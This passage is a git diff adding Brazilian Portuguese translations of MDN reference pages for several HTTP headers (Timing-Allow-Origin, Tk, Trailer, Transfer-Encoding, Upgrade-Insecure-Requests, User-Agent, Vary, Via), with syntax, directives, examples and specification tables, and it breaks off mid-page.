<dd>O servidor pode especificar "*" como um coringa, sendo assim permitindo qualquer origem de ver os tempos dos recursos.</dd> + <dt><origin></dt> + <dd>Especifica uma URI que pode ver os tempos dos recursos. Você pode especificar várias origens, separadas por vírgulas.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<p>Para permitir qualquer recurso veja os tempos dos recursos:</p> + +<pre class="notranslate">Timing-Allow-Origin: *</pre> + +<p>Para permitir <code>https://developer.mozilla.org</code> de ver os tempos de recursos de, você pode especificar:</p> + +<pre class="notranslate">Timing-Allow-Origin: https://developer.mozilla.org</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentário</th> + </tr> + <tr> + <td>{{SpecName('Resource Timing 3', '#sec-timing-allow-origin', 'Timing-Allow-Origin')}}</td> + <td>{{Spec2("Resource Timing 3")}}</td> + <td>Definição inicial.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Timing-Allow-Origin")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Resource_Timing_API">Resource Timing API</a></li> + <li><a href="/en-US/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API">Usando a Resource Timing API</a></li> + <li>{{HTTPHeader("Vary")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/tk/index.html b/files/pt-br/web/http/headers/tk/index.html new file mode 100644 index 0000000000..afe3890440 --- /dev/null +++ b/files/pt-br/web/http/headers/tk/index.html @@ -0,0 +1,100 @@ +--- +title: Tk +slug: Web/HTTP/Headers/Tk +tags: + - DNT + - HTTP + - Rastreamento + - Referencia + - Resposta + - cabeçalho +translation_of: Web/HTTP/Headers/Tk +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta <strong><code>Tk</code></strong> indica o status de rastreamento que foi aplicado à requisição correspondente.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Tk: ! (em construção) +Tk: ? (dinâmico) +Tk: G (portão ou múltiplas partes) +Tk: N (não está rastreando) +Tk: T (rastreando) +Tk: C (rastreando com consentimento) +Tk: P (potencial consentimento) +Tk: D (desconsiderando DNT) +Tk: U (atualizado) +</pre> + +<h3 id="Diretivas">Diretivas</h3> + +<dl> + <dt>!</dt> + <dd>Em construção. O servidor de origem está atualmente testando sua comunicação de status de rastreamento.</dd> + <dt>?</dt> + <dd>Dinâmico. O servidor de origem precisa de mais informação para determinar o status de rastreamento.</dd> + <dt>G</dt> + <dd>Portão ou múltiplas partes. O servidor está agindo como um portão para uma troca envolvendo várias múltiplas partes.</dd> + <dt>N</dt> + <dd>Não está rastreando.</dd> + <dt>T</dt> + <dd>Rastreando.</dd> + <dt>C</dt> + <dd>Rastreamento com consentimento. O servidor de origem acredita que ele recebeu consentimento a priori para rastrear o usuário, agente de usuário ou dispositivo.</dd> + <dt>P</dt> + <dd>Potencial consentimento. O servidor origem não conhece, em tempo real, se ele recebeu consentimento a priori para rastrear o usuário, o agente de usuário ou dispositivo, mas promete não usar ou compartilhar qualquer dado <code>DNT:1</code> até que o consentimento seja determinado, e promete futuramente deletar ou permanentemente sumir com a identidade em até 48 horas para qualquer dado <code>DNT:1</code> recebido para qual o consentimento não tenha sido recebido.</dd> + <dt>D</dt> + <dd>Desconsiderando DNT. O servidor de origem está incapacitado ou relutante em respeitar uma preferência de rastreamento recebida do agente de usuário requisitante.</dd> + <dt>U</dt> + <dd>Atualizado. A requisição resultou em uma potencial mudança no status de rastreamento aplicado ao usuário, agente de usuário ou dispositivo.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<p>O cabeçalho <code>Tk</code> para um recurso que diz não querer ser rastreado se parece com isso:</p> + +<pre class="notranslate">Tk: N</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentário</th> + </tr> + <tr> + <td>{{SpecName('Tracking','#Tk-header-defn', 'Tk header field')}}</td> + <td>{{Spec2("Tracking")}}</td> + <td>Definição inicial.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.Tk")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>Cabeçalho {{HTTPHeader("DNT")}}</li> + <li>{{domxref("Navigator.doNotTrack")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/trailer/index.html b/files/pt-br/web/http/headers/trailer/index.html new file mode 100644 index 0000000000..e0d131371b --- /dev/null +++ b/files/pt-br/web/http/headers/trailer/index.html @@ -0,0 +1,105 @@ +--- +title: Trailer +slug: Web/HTTP/Headers/Trailer +tags: + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Trailer +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta <strong>Trailer</strong> permite o remetente incluir campos adicionais ao final de mensagens fragmentadas visando prover metadados que podem ser dinamicamente gerados enquanto o corpo da mensagem é enviado, como a mensagem de checagem de integridade, assinatura digital, ou status de pós-processamento.</p> + +<div class="note"> +<p>O cabeçalho de requisição {{HTTPHeader("TE")}} precisa ser colocado como "trailers" para permitir campos de reboque (<em>trailers</em>).</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Trailer: header-names</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code>header-names</code></dt> + <dd>Cabeçalhos HTTP que estarão presentes na parte de reboque das mensagens fragmentadas. Estes campos de cabeçalhos <strong>não</strong> estão permitidos: + <ul> + <li>cabeçalhos de enquadramento de mensagem (e.g., {{HTTPHeader("Transfer-Encoding")}} e {{HTTPHeader("Content-Length")}}),</li> + <li>Cabeçalhos de roteamento (e.g., {{HTTPHeader("Host")}}),</li> + <li>Modificadores de requisição (e.g., controles e condicionais, como {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Max-Forwards")}}, ou {{HTTPHeader("TE")}}), </li> + <li>cabeçalhos de autenticação (e.g., {{HTTPHeader("Authorization")}} ou {{HTTPHeader("Set-Cookie")}}),</li> + <li>ou {{HTTPHeader("Content-Encoding")}}, {{HTTPHeader("Content-Type")}}, {{HTTPHeader("Content-Range")}}, e <code>Trailer</code> em si.</li> + </ul> + </dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<h3 id="Codificação_de_transferência_fragmentada_usando_cabeçalho_de_reboque">Codificação de transferência fragmentada usando cabeçalho de reboque</h3> + +<p>Neste exemplo, o cabeçalho {{HTTPHeader("Expires")}} é usado no fim da mensagem fragmentada e serve como cabeçalho de reboque.</p> + +<pre class="notranslate">HTTP/1.1 200 OK +Content-Type: text/plain +Transfer-Encoding: chunked +Trailer: Expires + +7\r\n +Mozilla\r\n +9\r\n +Developer\r\n +7\r\n +Network\r\n +0\r\n +Expires: Wed, 21 Oct 2015 07:28:00 GMT\r\n +\r\n +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7230", "Trailer", "4.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + <tr> + <td>{{RFC("7230", "Chunked trailer part", "4.1.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Trailer")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> + <li>{{HTTPHeader("TE")}}</li> + <li> + <p><a href="https://en.wikipedia.org/wiki/Chunked_transfer_encoding">Codificação de transferência fragmentada</a></p> + </li> +</ul> diff --git a/files/pt-br/web/http/headers/transfer-encoding/index.html b/files/pt-br/web/http/headers/transfer-encoding/index.html new file mode 100644 index 0000000000..0b59973bcc --- /dev/null +++ b/files/pt-br/web/http/headers/transfer-encoding/index.html @@ -0,0 +1,112 @@ +--- +title: Transfer-Encoding +slug: Web/HTTP/Headers/Transfer-Encoding +tags: + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Transfer-Encoding +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho <strong><code>Transfer-Encoding</code></strong> especifica a forma de codificação usada para transferir seguramente o corpo da mensagem ({{Glossary("Payload body","payload body")}}) para o usuário.</p> + +<div class="note"><a href="https://wikipedia.org/wiki/HTTP/2">HTTP/2</a> não suporta o mecanismo de codificação de trasferência fragmentada do HTTP 1.1, já que ele provém o próprio, e mais eficiente, mecanismo para <em>streaming</em> de dados.</div> + +<p><code>Transfer-Encoding</code> é um cabeçalho salto-por-salto (<em><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop header</a></em>), que é aplicado a uma mensagem entre dois nós, não ao recurso em si. Cada segmento da conexão multi-nós pode usar diferentes valores <code>Transfer-Encoding</code>. Se você quer comprimir dados através da conexão inteira, use o cabeçalho {{HTTPHeader("Content-Encoding")}} ao invés disso.</p> + +<p>Quando presente em uma resposta para uma requisição {{HTTPMethod("HEAD")}} que não tem corpo, ele indica o valor que seria aplicado a mensagem {{HTTPMethod("GET")}} correspondente.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Transfer-Encoding: chunked +Transfer-Encoding: compress +Transfer-Encoding: deflate +Transfer-Encoding: gzip +Transfer-Encoding: identity + +<em>// Diversos valores podem ser listados, separados por vírgula</em> +Transfer-Encoding: gzip, chunked</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code>chunked</code></dt> + <dd>Dados enviados em uma série de fragmentos. O cabeçalho {{HTTPHeader("Content-Length")}} é omitido neste caso e no começo de cada fragmento, você precisa adicionar o tamanho do fragmento atual em formato hexadecimal, seguido por '<code>\r\n</code>' e o fragmento em si, seguido por outro '<code>\r\n</code>'. O fragmento final é um fragmento normal, com exceção que seu tamanho é zero. Ele é seguido por um reboque, que consiste de uma (possívelmente vazia) sequência de cabeçalhos de entidade.</dd> + <dt><code>compress</code></dt> + <dd>Um formato usando o algoritmo <a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW). O nome do valor foi pego do programa UNIX <em>compress</em>, que implementa o algoritmo.<br> + Como o programa de compressão, que desapareceu da maioria das distribuições UNIX, esta codificação de conteúdo não é usada por quase nenhum navegador atualmente, em partes por causa do seu problema de patente (que expirou em 2003).</dd> + <dt><code>deflate</code></dt> + <dd>Usando a estrutura <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> (definida na <a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>), com o algoritmo de compressão <a class="external" href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a> (definido em <a class="external" href="http://tools.ietf.org/html/rfc1952">RFC 1951</a>).</dd> + <dt><code>gzip</code></dt> + <dd>O formato usando a <a class="external" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">codificação Lempel-Ziv</a> (LZ77), com CRC 32-bit. Este é originalmente o formato do programa UNIX <em>gzip</em>. O padrão HTTP/1.1 também recomenda que os servidores que suportem esta codificação de conteúdo devem reconhecer <code>x-gzip</code> como um pseudônimo, para propósitos de compatibilidade.</dd> + <dt><code>identity</code></dt> + <dd>Indica a função de identidade (i.e. sem compressão, nem modificação). Este <em>token</em>, exceto se explicitamente especificado, é sempre considerado aceitável.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<h3 id="Codificação_fragmentada">Codificação fragmentada</h3> + +<p>Codificação fragmentada é útil quando grandes quantidade de dados estão sendo enviados para o cliente e o tamanho total da resposta pode não ser conhecido até que a requisição seja totalmente processada. Por exemplo, quando gerando uma grande tabela HTML resultante de uma consulta no banco de dados ou transmitindo grandes imagens. A resposta fragmentada se parece com isto:</p> + +<pre class="notranslate">HTTP/1.1 200 OK +Content-Type: text/plain +Transfer-Encoding: chunked + +7\r\n +Mozilla\r\n +9\r\n +Developer\r\n +7\r\n +Network\r\n +0\r\n +\r\n</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7230", "Transfer-Encoding", "3.3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Transfer-Encoding")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Accept-Encoding")}}</li> + <li>{{HTTPHeader("Content-Encoding")}}</li> + <li>{{HTTPHeader("Content-Length")}}</li> + <li>Cabeçalho que regulam o uso de reboques: {{HTTPHeader("TE")}} (requisições) e {{HTTPHeader("Trailer")}} (respostas).</li> + <li> + <p><a href="https://en.wikipedia.org/wiki/Chunked_transfer_encoding">Codificação de transferência fragmentada</a></p> + </li> +</ul> diff --git a/files/pt-br/web/http/headers/upgrade-insecure-requests/index.html b/files/pt-br/web/http/headers/upgrade-insecure-requests/index.html new file mode 100644 index 0000000000..443d8d2d5f --- /dev/null +++ b/files/pt-br/web/http/headers/upgrade-insecure-requests/index.html @@ -0,0 +1,72 @@ +--- +title: Upgrade-Insecure-Requests +slug: Web/HTTP/Headers/Upgrade-Insecure-Requests +translation_of: Web/HTTP/Headers/Upgrade-Insecure-Requests +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho HTTP <strong><code>Upgrade-Insecure-Requests</code></strong> envia um sinal ao servidor expressando a preferência do cliente por uma resposta criptografada e autenticada, e podendo manipular com êxito a diretiva {{CSP("upgrade-insecure-requests")}} <a href="/en-US/docs/Web/Security/CSP">CSP</a>.</p> + +<p> </p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<p> </p> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Upgrade-Insecure-Requests: 1</pre> + +<h2 id="Exemplos">Exemplos</h2> + +<p><span id="result_box" lang="pt"><span>Um cliente solicita ao servidor que ele faça o suporte aos mecanismos de upgrade de {{CSP ("upgrade-insecure-requests")}}:</span></span></p> + +<pre>GET / HTTP/1.1 +Host: example.com +Upgrade-Insecure-Requests: 1</pre> + +<p><span id="result_box" lang="pt"><span>O servidor agora pode redirecionar para uma versão segura do site.</span> <span>Um cabeçalho {{HTTPHeader ("Vary")}} pode ser usado para que o site não seja veiculado por caches à clientes que não oferecem suporte ao mecanismo de upgrade.</span></span></p> + +<pre>Local: https://example.com/ +Vary: Upgrade-Insecure-Requests</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentário</th> + </tr> + <tr> + <td>{{specName("Upgrade Insecure Requests", "#preference", "upgrade-insecure-requests")}}</td> + <td>{{Spec2('Upgrade Insecure Requests')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_do_Navegador">Compatibilidade do Navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Upgrade-Insecure-Requests")}}</p> + +<h2 id="Veja_também">Veja também:</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>CSP {{CSP("upgrade-insecure-requests")}} directive</li> +</ul> diff --git a/files/pt-br/web/http/headers/user-agent/index.html b/files/pt-br/web/http/headers/user-agent/index.html new file mode 100644 index 0000000000..8d8341594a --- /dev/null +++ b/files/pt-br/web/http/headers/user-agent/index.html @@ -0,0 +1,147 @@ +--- +title: User-Agent +slug: Web/HTTP/Headers/User-Agent +tags: + - Agente de Usuário + - Cabeçalho HTTP + - HTTP + - Referencia +translation_of: Web/HTTP/Headers/User-Agent +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">O cabeçalho de requisição <strong>User-Agent</strong> é uma cadeia de caracteres característica que permite servidores e pares de rede identificar a aplicação, sistema operacional, fornecedor, e/ou versão do agente de usuário requisitante.</span></p> + +<div class="blockIndicator warning"> +<p>Por favor leia <a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">Detectando o navegador usando o agente de usuário (Browser detection using the user agent)</a> para por quê servir diferentes páginas Web ou serviços para diferentes navegadores é geralmente uma má ideia.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">User-Agent: <product> / <product-version> <comment></pre> + +<p>Formato comum para navegadores web:</p> + +<pre class="syntaxbox notranslate">User-Agent: Mozilla/5.0 (<system-information>) <platform> (<platform-details>) <extensions></pre> + +<h3 id="Diretivas">Diretivas</h3> + +<dl> + <dt><code><product></code></dt> + <dd>Um identificador do produto - seu nome ou codinome de desenvolvimento.</dd> + <dt><code><product-version></code></dt> + <dd>Número da versão do produto.</dd> + <dt><code><comment></code></dt> + <dd>Zero ou mais comentários contendo mais detalhes; informação de subproduto, por exemplo.</dd> +</dl> + +<h2 id="Firefox_UA_string">Firefox UA string</h2> + +<p>Para mais cadeias de caracteres de agente de usuário do Firefox e Gecko, veja a <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">referência para cadeias de caracteres de agente de usuário do Firefox (Firefox user agent string reference)</a>. A cadeia de caracteres UA do Firefox é quebrada em 4 componentes:</p> + +<pre class="notranslate">Mozilla/5.0 (<strong><em>platform</em></strong>; rv:<strong><em>geckoversion</em></strong>) Gecko/<strong><em>geckotrail</em></strong> Firefox/<strong><em>firefoxversion</em></strong></pre> + +<ol> + <li><code>Mozilla/5.0</code> é o <em>token</em> geral que diz que o navegador é compatível com Mozilla. Por razões históricas, quase todo navegador envia isso hoje.</li> + <li><strong><em>platform</em></strong> descreve a plataforma nativa que navegador está executando (Windows, Mac, Linux, Android, etc.), e se é um telefone celular. Telefones {{Glossary("Firefox OS")}} simplesmente dizem <code>Mobile</code> — a web é a plataforma. Note que <strong><em>platform</em></strong> pode consistir de múltiplos <em>tokens</em> separador por "<code>; </code>"(ponto e vírgula). Veja abaixo para mais detalhes e exemplos.</li> + <li><strong>rv:<em>geckoversion</em></strong> indica a versão de <em>release</em> do Gecko (como a "<em>17.0</em>"). Em navegadores recentes, <strong><em>geckoversion</em></strong> é o mesmo que <strong><em>firefoxversion</em></strong>.</li> + <li><strong><em>Gecko/geckotrail</em></strong> indica que o navegador é baseado no <a href="/en-US/docs/Mozilla/Gecko">Gecko</a>. (No Desktop, <em><strong>geckotrail</strong></em> é sempre a cadeia de caracteres fixa <code>20100101</code>.)</li> + <li><em><strong>Firefox/firefoxversion</strong></em> indica que o navegador é o Firefox, e provém a versão (como a "<em>17.0"</em>).</li> +</ol> + +<h3 id="Exemplos">Exemplos</h3> + +<pre class="no-line-numbers notranslate">Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X <em>x.y</em>; rv:42.0) Gecko/20100101 Firefox/42.0 +</pre> + +<h2 id="Chrome_UA_string">Chrome UA string</h2> + +<p>A cadeia de caracteres do agente de usuário do Chrome (ou baseados em Chromium/Blink) é similar ao do Firefox. Para compatibilidade, ele adiciona cadeias de caracteres como <code>KHTML, like Gecko</code> e <code>Safari</code>.</p> + +<h3 id="Exemplos_2">Exemplos</h3> + +<pre class="no-line-numbers notranslate">Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36</pre> + +<h2 id="Opera_UA_string">Opera UA string</h2> + +<p>O navegador Opera também é baseado no Blink, o motivo pelo qual se parecem muito, mas adiciona <code>"OPR/<version>"</code>.</p> + +<h3 id="Exemplos_3">Exemplos</h3> + +<pre class="no-line-numbers notranslate">Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41</pre> + +<p>Mais antigo, versões do Opera baseados no Presto usavam:</p> + +<pre class="no-line-numbers notranslate">Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.15 Version/10.00 +Opera/9.60 (Windows NT 6.0; U; en) Presto/2.1.1</pre> + +<h2 id="Safari_UA_string">Safari UA string</h2> + +<p>Neste exemplo, a cadeia de caracteres de agente de usuários é a versão de móvel do Safari. Ela contém a palavra <code>"Mobile"</code>.</p> + +<h3 id="Exemplos_4">Exemplos</h3> + +<pre class="no-line-numbers notranslate">Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1</pre> + +<h2 id="Internet_Explorer_UA_string">Internet Explorer UA string</h2> + +<h3 id="Exemplos_5">Exemplos</h3> + +<pre class="no-line-numbers notranslate">Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)</pre> + +<h2 id="Crawler_e_bot_UA_strings">Crawler e bot UA strings</h2> + +<p>Exemplos</p> + +<pre class="no-line-numbers notranslate">Googlebot/2.1 (+http://www.google.com/bot.html)</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC(7231, "User-Agent", "5.5.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + <tr> + <td>{{RFC(2616, "User-Agent", "14.43")}}</td> + <td>Hypertext Transfer Protocol -- HTTP/1.1</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.User-Agent")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="https://hacks.mozilla.org/2013/09/user-agent-detection-history-and-checklist/">Detecção, histórico e checklist de User-Agent</a></li> + <li><a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Referência para cadeias de caracteres de agente de usuário do Firefox (Firefox user agent string reference)</a></li> + <li> + <p><a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">Detectando o navegador usando o agente de usuário (Browser detection using the user agent)</a></p> + </li> +</ul> diff --git a/files/pt-br/web/http/headers/vary/index.html b/files/pt-br/web/http/headers/vary/index.html new file mode 100644 index 0000000000..04fdf604f5 --- /dev/null +++ b/files/pt-br/web/http/headers/vary/index.html @@ -0,0 +1,87 @@ +--- +title: Vary +slug: Web/HTTP/Headers/Vary +tags: + - Cabeçalho de Resposta + - HTTP + - Referencia + - Resposta + - cabeçalho +translation_of: Web/HTTP/Headers/Vary +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta HTTP <strong><code>Vary</code></strong> determina como corresponder futuros cabeçalhos de requisição para decidir se uma resposta cacheada pode ser usada ao invés de solicitar uma nova do servidor de origem. Ele é usado pelo servidor para indicar quais cabeçalhos ele utilizou quando selecionando a representação do recurso em um algoritmo de <a href="/en-US/docs/Web/HTTP/Content_negotiation">negociação de conteúdo</a>.</p> + +<p>O cabeçalho <code>Vary</code> deve ser colocado em uma resposta {{HTTPStatus("304")}} <code>Not Modified</code> exatamente como seria colocado em uma resposta {{HTTPStatus("200")}} <code>OK</code> equivalente.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Vary: * +Vary: <header-name>, <header-name>, ... +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt>*</dt> + <dd>Cada requisição para a URL é supostamente tratada como uma requisição única e incacheavél. Um jeito melhor de indicar isso é usar {{HTTPHeader("Cache-Control")}}: <code>no-store</code>, que é mais limpo para se ler e também sinaliza que o objeto não deve ser guardado nunca.</dd> + <dt><header-name></dt> + <dd>Uma lista separada por vírgula de nomes de cabeçalhos para levar em conta quando for decidir se uma resposta cacheada pode ser usada.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<h3 id="Servimento_dinâmico">Servimento dinâmico</h3> + +<p>Quando utilizando o cabeçalho <code>Vary: User-Agent</code>, servidores de cacheamento devem considerar o agente de usuário quando estiverem decidindo se irão servir a página do cache. Por exemplo, se você está servindo conteúdo diferente para usuários móveis, ele pode ajudar você a evitar que um cache possa erroneamente servir uma versão desktop do seu site, para os usuários móveis. Ele pode ajudar o Google e outros motores de busca a descobrir a versão móvel da página, e talvez possa dizer a eles que não existe intenção de <a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a>.</p> + +<pre class="notranslate">Vary: User-Agent</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "Vary", "7.1.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Vary")}}</p> + +<h2 id="Notas_de_compatibilidade">Notas de compatibilidade</h2> + +<ul> + <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2009/06/17/vary-with-care/">Vary com cuidado – Problemas do cabeçalho Vary em IE6-9</a></li> +</ul> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="https://www.smashingmagazine.com/2017/11/understanding-vary-header/">Entendendo o cabeçalho Vary (Understanding The Vary Header) - Smashing Magazine</a></li> + <li><a href="https://www.fastly.com/blog/best-practices-for-using-the-vary-header">Melhores práticas quando utilizando o cabeçalho Vary (Best Practices for Using the Vary Header) – fastly.com</a></li> + <li><a href="https://developer.mozilla.org/docs/Web/HTTP/Content_negotiation">Negociação de conteúdo</a></li> +</ul> diff --git a/files/pt-br/web/http/headers/via/index.html b/files/pt-br/web/http/headers/via/index.html new file mode 100644 index 0000000000..45f384086c --- /dev/null +++ b/files/pt-br/web/http/headers/via/index.html @@ -0,0 +1,80 @@ +--- +title: Via +slug: Web/HTTP/Headers/Via +tags: + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Via +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho geral <code><strong>Via</strong></code> é adicionado por proxies, ambos diretos e reversos, e pode aparecer em cabeçalhos de requisição e de cabeçalhos de resposta. Ele é usado para rastrear mensagens direcionadas, evitando laços de requisição, e identificando as capacidades dos protocolos dos remetentes ao longo da cadeia de requisição/resposta.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Via: [ <protocol-name> "/" ] <protocol-version> <host> [ ":" <port> ] +or +Via: [ <protocol-name> "/" ] <protocol-version> 